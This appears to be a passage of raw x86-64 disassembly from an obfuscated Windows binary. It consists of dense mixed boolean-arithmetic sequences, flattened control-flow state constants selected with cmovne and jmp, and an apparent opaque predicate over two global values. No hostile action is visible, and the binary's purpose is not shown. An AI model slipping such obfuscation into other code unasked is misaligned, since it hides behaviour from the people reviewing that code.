xor bl, 1
and bl, r11b
or bl, al
and r9b, r8b
mov eax, r15d
xor al, cl
and al, r15b
and cl, r15b
or cl, r9b
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0xf1ebdacc
mov ecx, 0x94e0bb1
cmovne eax, ecx
test dl, 1
mov edx, 0xf1ebdacc
cmovne eax, edx
test bl, 1
jmp 0x14001aa58
mov eax, 0x9c703799
mov dword [rbp - 0x54], 0xffffffff
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov eax, dword [0x1400968b4]
lea r10d, [rax - 1]
imul r10d, eax
mov r9d, r10d
not r9d
mov eax, r9d
and eax, 0x5bd2c60a
mov ecx, r10d
and ecx, 0xa42d39f5
or ecx, eax
mov edx, ecx
xor edx, 0xa00c1800
xor ecx, 0x43800600
and ecx, 0x47802600
and edx, 0xb84c5808
or edx, ecx
xor edx, 0xb84c5808
or edx, 0x3381f7
mov eax, edx
not eax
mov ecx, r9d
and ecx, 0xffcc7e08
mov ebx, r10d
and ebx, 0x3381f7
or ebx, ecx
not ebx
or ebx, r9d
mov ecx, ebx
not ecx
mov edi, eax
xor edi, ebx
and edi, eax
and edx, 0x41c896dd
and eax, 0xbe046800
or eax, edx
and ebx, 0x41c896dd
and ecx, 0xbe376922
or ecx, ebx
xor ecx, eax
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3381f7
and ecx, 0xffcc7e08
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
or eax, 0x67fab6c6
and ecx, 0xf7cfb805
and edx, 0x83047fa
or edx, ecx
mov ecx, edx
xor ecx, 0x8004138
xor edx, 0x67cab004
and edx, 0x67fab6c6
and ecx, 0x98054938
or ecx, edx
and eax, 0x67fab6c7
xor eax, ecx
mov r11d, eax
not r11d
mov ecx, r11d
and ecx, 1
and eax, 0xfffffffe
or eax, ecx
xor r11d, eax
and r11d, eax
mov eax, r10d
or eax, 0x2912ee48
mov ecx, eax
not ecx
mov edi, r9d
or edi, 0xd6ed11b7
mov edx, edi
not edx
and eax, 0xd49e80ab
and ecx, 0x2611114
or ecx, eax
and edi, 0xd49e80ab
and edx, 0x29006e40
or edx, edi
xor edx, ecx
mov eax, edx
not eax
and eax, 0x2912ee49
and edx, 0xd6ed11b6
or edx, eax
not edx
mov eax, edx
and eax, r9d
xor edx, r9d
or edx, eax
mov eax, edx
not eax
and eax, 0x559171cb
and edx, 0xaa6e8e34
or edx, eax
mov edi, edx
xor edi, 0xaa6e8e34
mov r14d, edx
xor r14d, 0x559171cb
mov r8d, r14d
and r8d, 0xb4f7bd
mov esi, edi
xor edx, 0x4f22f39d
and edx, edi
and edi, 0xff4b0842
or edi, r8d
mov eax, edi
xor eax, 0xe94b0000
mov ebx, r11d
not ebx
mov r8d, ebx
and r8d, 0x16048ccb
mov ecx, r11d
and ecx, 0xe9fb7334
or ecx, r8d
xor edi, 0x48489
and edi, 0x16048ccb
and eax, 0xe9fb7334
or eax, edi
xor eax, ecx
mov r8d, eax
xor r8d, ebx
and r8d, eax
mov eax, ebx
and eax, 0x850845a1
and r11d, 0x60443808
or r11d, eax
mov eax, r11d
xor eax, 0x40000800
xor r11d, 0x82988011
or ebx, 0xe54c7da9
mov ecx, ebx
not ecx
and r14d, 0x52804053
and esi, 0xad7fbfac
or esi, r14d
mov edi, esi
xor edi, 0xad7fbfac
xor esi, 0xb7cc3dfa
and esi, edi
and r11d, 0xa2dcb019
and eax, 0x45004da0
or eax, r11d
and ebx, 0xa2dcb019
and ecx, 0x18230246
or ecx, ebx
xor ecx, eax
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, ecx
not eax
and eax, 0x9b174f68
and ecx, 0x64e8b097
or ecx, eax
mov eax, edx
not eax
and eax, 0x9b174f68
and edx, 0x64e8b097
or edx, eax
xor edx, ecx
mov ecx, r8d
mov eax, r8d
xor eax, 0x293675bf
and eax, r8d
not r8d
mov ebx, edx
xor ebx, 0x293675bf
and ebx, edx
not edx
or ecx, 0xd6c98a40
mov esi, ecx
not esi
mov r11d, edx
and r11d, 0x293675bf
mov edi, eax
not edi
mov r14d, ecx
and r14d, 0x264f2b3b
and esi, 0x9305484
or esi, r14d
or ecx, edi
and edi, 0x264f2b3b
and eax, 0xd9b0d4c4
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov eax, r11d
and eax, ebx
xor ebx, r11d
or ebx, eax
mov eax, ecx
not eax
and eax, 0xcb873df1
and ecx, 0x3478c20e
or ecx, eax
mov eax, ebx
not eax
and eax, 0xcb873df1
and ebx, 0x3478c20e
or ebx, eax
xor ebx, ecx
mov eax, r8d
and eax, edx
xor edx, r8d
or edx, eax
mov eax, edx
not eax
and eax, 0xaf4a175a
and edx, 0x50b5e8a5
or edx, eax
mov eax, edx
xor eax, 0x50014000
mov r8d, ebx
not r8d
xor edx, 0xaf4a175a
mov ecx, r8d
and ecx, 0x7bcbdbf
and ebx, 0xf8434240
or ebx, ecx
or r8d, edx
and edx, 0x7bcbdbf
and eax, 0xf8434240
or eax, edx
xor eax, ebx
not r8d
or r8d, eax
mov eax, r9d
and eax, 0xea4860c4
mov ecx, r10d
xor ecx, 0xea4860c4
and ecx, r10d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x15b79f3b
and ecx, 0xea4860c4
or ecx, eax
mov ebx, ecx
mov eax, ecx
xor eax, 0xbe021902
and eax, ecx
not ecx
and r9d, 0xcb72253d
and r10d, 0x348ddac2
or r10d, r9d
mov edx, r10d
xor edx, 0x348ddac2
xor r10d, 0xcb72253d
or r10d, edx
mov r9d, r10d
not r9d
and ecx, 0xf3fa49b5
and ebx, 0xc05b64a
or ebx, ecx
mov r11d, ebx
xor r11d, 0xc05b64a
mov ecx, ebx
xor ecx, 0x4df850b7
and ecx, r11d
mov r14d, r9d
or r14d, 0x41fde6fd
mov edx, r14d
not edx
mov esi, ecx
not esi
mov edi, esi
and edi, 0x7d0722e1
and ecx, 0x82f8dd1e
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0x7d0722e1
and eax, 0x82f8dd1e
or eax, edi
mov edi, r10d
or edi, 0xbe021902
xor eax, ecx
mov ecx, edi
not ecx
not esi
or esi, eax
and r14d, 0xea7cbf60
and edx, 0x14020002
or edx, r14d
and edi, 0xea7cbf60
and ecx, 0x181409d
or ecx, edi
xor ecx, edx
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
xor ebx, 0xf3fa49b5
mov eax, ebx
and eax, 0xd070ec78
and r11d, 0x2f8f1387
or r11d, eax
or ebx, r9d
and r9d, 0xd070ec78
and r10d, 0x2f8f1387
or r10d, r9d
xor r10d, r11d
not ebx
or ebx, r10d
mov eax, ebx
not eax
and eax, 0x1db72ed4
and ebx, 0xe248d12b
or ebx, eax
mov eax, ebx
xor eax, 0x8240d00b
xor ebx, 0x1db72ed4
mov edi, ecx
not edi
mov edx, edi
and edx, 0x70ac0f30
and ecx, 0x8f53f0cf
or ecx, edx
or edi, ebx
and ebx, 0x70ac0f30
and eax, 0x8f53f0cf
or eax, ebx
xor eax, ecx
not edi
or edi, eax
mov r10d, r8d
not r10d
mov eax, r10d
and eax, 0x29b4c538
mov ecx, r8d
and ecx, 0xd64b3ac7
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd64b3ac7
and ecx, 0x29b4c538
or ecx, eax
mov eax, ecx
not eax
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x25725fab
mov esi, edi
and esi, 0xda8da054
or esi, ebx
and ecx, 0x25725fab
and eax, 0xda8da054
or eax, ecx
xor eax, esi
mov ecx, eax
xor ecx, edx
and ecx, eax
and edx, 0x2012830
mov eax, edi
and eax, 0x9020114f
or eax, edx
xor eax, 0x9020114f
and edi, 0x6ddec680
or edi, eax
mov eax, edi
not eax
and eax, 0x6ddec680
and edi, 0x9221397f
or edi, eax
mov eax, r8d
and eax, edi
not edi
and edi, r10d
or edi, eax
mov r14d, edi
xor r14d, r10d
and r14d, edi
mov r11d, ecx
not r11d
mov r15d, r14d
not r15d
mov edi, ecx
xor edi, 0x30930be4
and edi, r11d
mov eax, ecx
and eax, 0xcf6cf41b
mov ebx, r14d
xor ebx, 0x30930be4
and ebx, r15d
mov esi, r15d
or esi, 0x30930be4
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x6d76a704
and ebx, 0x928958fb
or ebx, edx
mov edx, esi
not edx
or edi, esi
and esi, 0x6d76a704
and edx, 0x8208501b
or edx, esi
mov r9d, dword [0x1400968b0]
xor edx, ebx
not edi
or edi, edx
mov edx, eax
not edx
and edx, 0xeb57ef22
and eax, 0x14a810dd
or eax, edx
mov edx, edi
not edx
and edx, 0xeb57ef22
and edi, 0x14a810dd
or edi, edx
xor edi, eax
mov eax, ecx
and eax, 0xaff7cd1f
and r11d, 0x500832e0
or r11d, eax
or ecx, r14d
and r14d, 0xaff7cd1f
and r15d, 0x500832e0
or r15d, r14d
xor r15d, r11d
not ecx
or ecx, r15d
not ecx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, r10d
and eax, 0x90c5
and r8d, 0x4d016a00
or r8d, eax
mov eax, r8d
xor eax, 0x41010800
xor r8d, 0x22689024
or r10d, 0x4d01fac5
mov edx, r10d
not edx
and r8d, 0x2e68f224
and eax, 0x410108c1
or eax, r8d
and r10d, 0x2e68f224
and edx, 0x9096051a
or edx, r10d
xor edx, eax
mov eax, edx
not eax
and eax, 0xb2fe053a
and edx, 0x4d01fac5
or edx, eax
mov ebx, ecx
not ebx
mov eax, ebx
xor eax, edx
not eax
and eax, edx
mov edi, edx
not edi
and edi, 0xd75d8de8
and edx, 0x28a27217
or edx, edi
xor edx, ecx
xor edx, 0xd75d8de8
and edx, ecx
mov edi, eax
and edi, edx
xor edx, eax
or edx, edi
and ebx, 0xb390c34b
and ecx, 0x4c6f3cb4
or ecx, ebx
mov eax, ecx
xor eax, 0x4c6f3cb4
xor ecx, 0xb390c34b
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r10b
sete r8b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg r9b
mov esi, r9d
xor sil, r11b
mov ecx, esi
xor cl, 1
mov edx, esi
or dl, cl
mov eax, edx
not al
mov ebx, ecx
or bl, dl
xor bl, 1
and al, cl
and dl, sil
or dl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, r11b
and dl, al
and al, r11b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
and sil, r9b
or r9b, cl
and cl, r11b
or cl, sil
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
mov r13d, edx
xor r13b, 1
and dl, cl
or cl, r13b
and r13b, al
or r13b, dl
mov eax, ecx
xor al, r13b
xor r13b, 1
xor al, 1
or r13b, cl
xor r13b, 1
or r13b, al
mov ecx, r8d
xor cl, r10b
mov eax, ecx
xor al, 1
mov r14d, ecx
and r14b, al
mov edx, eax
mov byte [rbp - 0x34], al
mov eax, ecx
and al, r14b
xor r14b, cl
mov ebx, ecx
mov byte [rbp - 0x33], cl
or r14b, al
mov ecx, r14d
xor cl, 1
mov edi, r14d
or dil, cl
mov eax, edx
xor al, bl
and al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r15d, eax
xor r15b, dl
or dl, al
xor dl, 1
or dl, r15b
mov r15d, edx
xor dl, 1
and dl, dil
xor bl, dil
xor dil, 1
and r15b, dil
or dl, r15b
or al, dil
xor al, 1
or al, bl
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, r8d
mov eax, r8d
xor al, dl
xor al, 1
and al, dl
or dl, bl
mov edi, ebx
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
and r14b, r10b
or r10b, cl
and cl, dil
or cl, r14b
mov eax, r10d
xor al, cl
xor cl, 1
xor al, 1
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
xor dl, 1
and dl, al
or cl, dl
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ecx
or al, bl
mov edx, eax
xor dl, 1
and cl, al
or al, bl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov byte [rbp - 0x48], dl
mov eax, r13d
xor al, 1
mov ebx, r13d
or bl, al
mov r8d, eax
mov byte [rbp - 0x3f], al
mov r11d, ebx
xor r11b, 1
mov r10d, r13d
mov r15d, r13d
mov edx, ebx
and dl, r11b
mov r12d, ebx
and r12b, dl
mov ecx, ebx
xor cl, dl
mov r14d, r13d
and r14b, bl
xor bl, r13b
xor dl, 1
mov eax, r11d
xor al, dl
or dl, r11b
xor dl, 1
or dl, al
mov byte [rbp - 0x41], dl
xor dl, 1
and dl, r13b
mov byte [rbp - 0x40], dl
and r13b, r8b
and r10b, r13b
xor r15b, r13b
or r15b, r10b
or cl, r12b
xor cl, r15b
xor cl, 1
or bl, r14b
mov byte [rbp - 0x3e], bl
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
mov r12d, r9d
and r12b, cl
mov edx, r12d
xor dl, 1
mov r14d, r9d
xor r14b, r12b
or dl, cl
xor dl, 1
or dl, r14b
mov r15d, edx
xor r15b, 1
and r12b, r9b
mov eax, r15d
and al, dl
or r12b, r14b
xor r15b, al
xor al, 1
or al, dl
xor al, 1
or al, r15b
xor al, r12b
mov r9d, ecx
xor r9b, dl
or dl, cl
xor dl, 1
or dl, r9b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r8d, edx
xor r8b, 1
mov eax, r8d
and al, dl
mov r9d, r8d
and r9b, al
xor al, r8b
or al, r9b
xor al, 1
or r8b, dl
mov edx, r8d
xor dl, 1
and dl, r8b
mov r9d, r8d
and r9b, dl
xor dl, r8b
or dl, r9b
xor dl, al
mov r9d, eax
and r9b, r8b
xor r8b, al
or r8b, r9b
xor r8b, 1
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov bl, byte [rbp - 0x48]
mov eax, ebx
xor al, 1
mov r12d, eax
mov r10d, eax
mov byte [rbp - 0x35], al
and r12b, bl
mov r15d, r12d
xor r15b, 1
mov eax, ebx
xor al, r15b
mov edx, ebx
or dl, r15b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r14d, edx
and r14b, al
mov r9d, r14d
xor r14b, dl
xor r9b, 1
or r9b, al
xor r9b, 1
or r9b, r14b
mov edx, r9d
xor dl, 1
mov ecx, ebx
or cl, r10b
mov byte [rbp - 0x3c], cl
mov ebx, ecx
xor bl, 1
mov byte [rbp - 0x3d], bl
and dl, bl
and r9b, cl
or r9b, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov r9d, eax
xor r9b, 1
mov edx, eax
xor dl, r9b
and dl, al
mov ecx, edx
xor cl, 1
and r9b, cl
and dl, al
or dl, r9b
mov r9d, ecx
and r9b, al
xor cl, al
or cl, r9b
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
mov ecx, r10d
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
or r10b, dl
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov r9d, r10d
xor r9b, 1
mov eax, r9d
and al, r10b
mov r11d, eax
and r11b, r9b
xor al, r9b
or al, r11b
mov r11d, edx
xor r11b, 1
and r11b, al
xor al, 1
and al, dl
or al, r11b
xor r10b, bl
or r9b, cl
xor r9b, 1
or r9b, r10b
xor al, 1
mov ecx, eax
xor cl, r9b
or al, r9b
xor al, 1
or al, cl
mov dl, byte [rbp - 0x34]
xor dl, dil
mov cl, byte [rbp - 0x33]
or cl, dil
xor dl, 1
xor cl, 1
or cl, dl
mov edi, ecx
mov r9d, esi
xor r9b, 1
mov ecx, esi
and cl, r9b
mov ebx, esi
and bl, cl
xor cl, sil
or cl, bl
mov r11d, r8d
xor r11b, 1
mov edx, ecx
xor dl, 1
and cl, r8b
mov r10d, r11d
and r10b, dl
or r10b, cl
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
xor dl, 1
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
and r8b, sil
and r9b, r11b
or r9b, r8b
xor r11b, r9b
and r11b, r9b
mov ecx, r9d
xor cl, 1
or cl, sil
mov r8d, r11d
xor r8b, 1
mov ebx, r11d
and bl, r8b
xor bl, 1
mov r9d, ebx
xor r9b, r8b
or bl, r8b
xor bl, 1
or bl, r9b
mov r8d, ebx
and r8b, cl
xor cl, 1
xor bl, 1
and bl, cl
or bl, r8b
mov r8d, ecx
xor r8b, r11b
or cl, r11b
xor cl, 1
or cl, r8b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov r10d, edx
xor r10b, 1
and r10b, dl
xor r10b, 1
mov r8d, edx
xor r8b, r10b
or r10b, dl
xor r10b, 1
or r10b, r8b
mov esi, r10d
xor sil, 1
mov ebx, r10d
or bl, sil
mov r8d, edx
xor r8b, bl
xor bl, 1
mov r11d, edx
xor r11b, bl
or bl, dl
xor r8b, 1
xor bl, 1
or bl, r8b
xor bl, 1
mov edx, r11d
and dl, bl
xor bl, r11b
or bl, dl
mov r9d, ecx
xor r9b, 1
mov r11d, ecx
or r11b, r9b
mov edx, r11d
xor dl, 1
mov r8d, edx
xor r8b, r9b
and r8b, dl
and r11b, cl
and dl, r9b
or dl, r11b
xor r8b, 1
xor dl, 1
mov r11d, r8d
xor r11b, dl
or dl, r8b
xor dl, 1
or dl, r11b
xor bl, 1
mov r8d, ebx
xor r8b, dl
xor r8b, 1
and r8b, dl
or bl, dl
xor r8b, 1
mov edx, r8d
xor dl, bl
or r8b, bl
xor r8b, 1
or r8b, dl
mov edx, r9d
or r9b, r10b
and dl, sil
and r10b, cl
or r10b, dl
xor sil, cl
xor r9b, 1
or r9b, sil
xor r9b, 1
mov ecx, r10d
and cl, r9b
xor r9b, r10b
or r9b, cl
xor r9b, r8b
mov ecx, r9d
xor cl, 1
and r9b, r8b
mov edx, r9d
and dl, cl
xor r9b, cl
mov ecx, edi
mov r8d, edi
xor r8b, 1
or r9b, dl
mov edx, edi
and dl, r8b
mov ebx, edi
and bl, dl
xor dl, dil
mov r11d, edi
or dl, bl
mov r10d, eax
xor r10b, 1
mov ecx, edx
xor cl, 1
and dl, al
mov ebx, r10d
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
and al, r10b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
xor r11b, r10b
xor r10b, r11b
and r10b, r11b
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov ecx, edx
xor cl, 1
and cl, r10b
xor r10b, 1
and dl, r10b
or dl, cl
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
mov ecx, ebx
xor cl, 1
or r10b, al
mov r11d, ecx
and r11b, bl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov eax, r10d
xor al, 1
mov edx, eax
and dl, r10b
xor dl, 1
mov r8d, r10d
xor r8b, dl
or dl, r10b
xor dl, 1
or dl, r8b
or cl, bl
or al, r10b
mov ebx, r11d
xor bl, 1
mov r10d, ecx
xor r10b, 1
mov edi, edx
xor dil, 1
mov esi, edx
xor sil, dil
and r10b, bl
mov r14d, edx
and r14b, bl
mov r8d, r11d
and r8b, dil
xor dil, bl
or bl, cl
and cl, r11b
or cl, r10b
xor bl, 1
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
and sil, dl
mov r10d, eax
xor r10b, 1
mov ebx, esi
xor bl, 1
and r10b, bl
or bl, al
and al, sil
or al, r10b
xor bl, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
mov r10d, ecx
xor r10b, 1
mov ebx, r10d
and bl, cl
xor r10b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r10b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
and cl, al
or bl, cl
or r8b, r14b
or dl, r11b
xor dl, 1
or dl, dil
xor r8b, 1
mov eax, r8d
xor al, dl
or r8b, dl
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov ecx, r8d
xor cl, 1
mov eax, ebx
xor al, 1
and r8b, al
or al, cl
xor al, 1
and cl, bl
or cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, r9d
xor al, 1
mov edx, eax
and dl, r9b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r8d, edx
xor r8b, 1
mov eax, r8d
and al, dl
mov ebx, eax
xor al, dl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
mov r8d, eax
and r8b, cl
mov edx, r8d
xor dl, 1
mov r10d, edx
xor r10b, cl
or dl, cl
xor dl, 1
or dl, r10b
xor dl, bl
mov r10d, ecx
and r10b, bl
xor bl, cl
or bl, r10b
mov r10d, edx
xor r10b, bl
or bl, dl
xor bl, 1
or bl, r10b
mov r10d, ebx
xor r10b, 1
mov edx, r10d
and dl, bl
xor r10b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r10b
mov ebx, eax
and bl, r8b
xor r8b, al
or r8b, bl
or al, cl
mov ecx, r8d
xor cl, 1
mov ebx, eax
xor bl, 1
and bl, cl
or cl, al
and al, r8b
xor dl, 1
xor cl, 1
or al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
or cl, r9b
xor al, r9b
xor al, 1
and al, r9b
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, 1
xor r9b, al
xor al, r9b
and al, r9b
mov ecx, eax
xor cl, 1
mov ebx, edx
and al, cl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
xor al, dl
and dl, cl
xor bl, cl
or bl, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov byte [rbp - 0x33], dl
mov bl, byte [rbp - 0x3f]
mov al, byte [rbp - 0x41]
and al, bl
mov cl, byte [rbp - 0x40]
or cl, al
mov dil, byte [rbp - 0x3e]
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov cl, byte [rbp - 0x48]
mov eax, ecx
mov r11b, byte [rbp - 0x3c]
or al, r11b
xor al, 1
xor r11b, cl
mov r9d, ecx
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov eax, edi
xor al, 1
mov byte [rbp - 0x34], al
mov r10d, edi
and r10b, al
xor dil, al
or dil, r10b
mov edx, edi
xor dl, 1
mov eax, r13d
mov ecx, ebx
and al, bl
xor r13b, bl
or r13b, al
mov eax, r13d
xor al, 1
and r13b, al
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov ecx, r13d
xor cl, 1
mov byte [rbp - 0x3c], r11b
mov esi, r11d
xor sil, 1
mov r14d, r11d
and r14b, sil
xor r11b, sil
xor r12b, r9b
or r15b, byte [rbp - 0x35]
xor r15b, 1
or r15b, r12b
xor r15b, 1
mov ebx, r15d
mov al, byte [rbp - 0x3d]
and bl, al
xor r15b, al
or r15b, bl
mov ebx, r15d
xor bl, 1
and r15b, bl
mov eax, ebx
and al, r15b
xor r15b, bl
or r15b, al
mov r9d, edi
and r9b, dl
mov eax, edi
and al, r9b
xor r9b, dil
or r9b, al
mov eax, r13d
or al, cl
mov ebx, r13d
xor bl, cl
and bl, r13b
or dl, dil
mov r8d, edi
xor r8b, dl
or dl, dil
mov r12d, ebx
and bl, al
xor al, 1
xor dl, 1
or dl, r8b
xor r12b, 1
mov r8d, eax
xor r8b, r12b
and r8b, al
and r12b, al
mov edi, r14d
or dil, r11b
or r12b, bl
mov eax, r8d
and al, r12b
xor r12b, r8b
mov r8d, edi
xor r8b, 1
or r12b, al
xor r12b, 1
mov eax, r12d
or al, dl
xor al, 1
xor r12b, dl
xor r12b, 1
and r12b, dl
mov ebx, eax
and bl, r12b
xor r12b, al
mov edx, r9d
xor dl, 1
or r12b, bl
and r9b, dl
and cl, r13b
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov eax, r13d
and al, cl
xor cl, r13b
or cl, al
mov eax, r9d
xor al, 1
and al, cl
xor cl, 1
and cl, r9b
or cl, al
mov eax, edx
and al, r13b
xor dl, r13b
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
mov ecx, r12d
xor cl, dl
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, r12b
xor cl, 1
or al, r12b
xor al, 1
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ebx, edi
and bl, r8b
mov eax, edi
and al, bl
xor bl, dil
or bl, al
mov r9d, ebx
xor r9b, 1
mov r12d, r15d
xor r12b, 1
mov r13d, r12d
and r12b, r9b
or r9b, bl
mov eax, r9d
xor al, 1
xor dil, r8b
and dil, r8b
or r13b, r15b
mov ecx, r9d
and cl, dil
xor dil, 1
and al, dil
or al, cl
mov ecx, r9d
and cl, dil
xor dil, r9b
mov r8d, r13d
xor r8b, 1
or dil, cl
xor dil, 1
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, r8d
and al, r13b
xor al, 1
mov ecx, eax
xor cl, r13b
or al, r13b
xor al, 1
or al, cl
xor al, r15b
xor al, 1
mov ecx, r8d
xor cl, r15b
or r8b, r15b
xor r8b, 1
or r8b, cl
mov ecx, eax
xor cl, r8b
or r8b, al
xor r8b, 1
or r8b, cl
xor r8b, 1
mov eax, r8d
or al, dil
xor al, 1
xor r8b, dil
xor r8b, 1
and r8b, dil
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, ebx
xor al, r15b
and al, bl
and bl, r15b
or bl, r12b
xor al, 1
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov r9d, ebx
and r9b, cl
xor bl, cl
or bl, r9b
xor bl, r8b
xor r8b, 1
mov ecx, r8d
and cl, al
xor r8b, al
or r8b, cl
xor r8b, 1
mov eax, ebx
and al, r8b
xor r8b, bl
or r8b, al
mov eax, edx
xor al, r8b
xor al, 1
mov ecx, r8d
xor cl, 1
or al, cl
and cl, r8b
xor cl, 1
mov ebx, r8d
xor bl, cl
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
and cl, r8b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
mov edx, eax
xor dl, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, edx
xor al, r8b
or r8b, dl
xor r8b, 1
or r8b, al
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov cl, byte [rbp - 0x34]
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov ebx, r10d
xor bl, 1
mov edx, ebx
or dl, r10b
mov dil, byte [rbp - 0x3c]
or sil, dil
and r11b, dil
mov eax, edx
or al, cl
xor al, 1
xor dl, cl
mov ecx, eax
and cl, dl
xor dl, al
mov eax, r11d
and r11b, sil
xor sil, 1
or dl, cl
xor al, 1
mov ecx, esi
xor cl, al
and cl, sil
and al, sil
or al, r11b
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
mov ecx, eax
xor cl, 1
or cl, dl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
and r10b, bl
xor r10b, 1
mov eax, r10d
xor al, bl
or r10b, bl
xor r10b, 1
or r10b, al
xor r14b, 1
mov eax, r14d
mov ecx, edi
xor al, dil
or r14b, dil
xor r14b, 1
or r14b, al
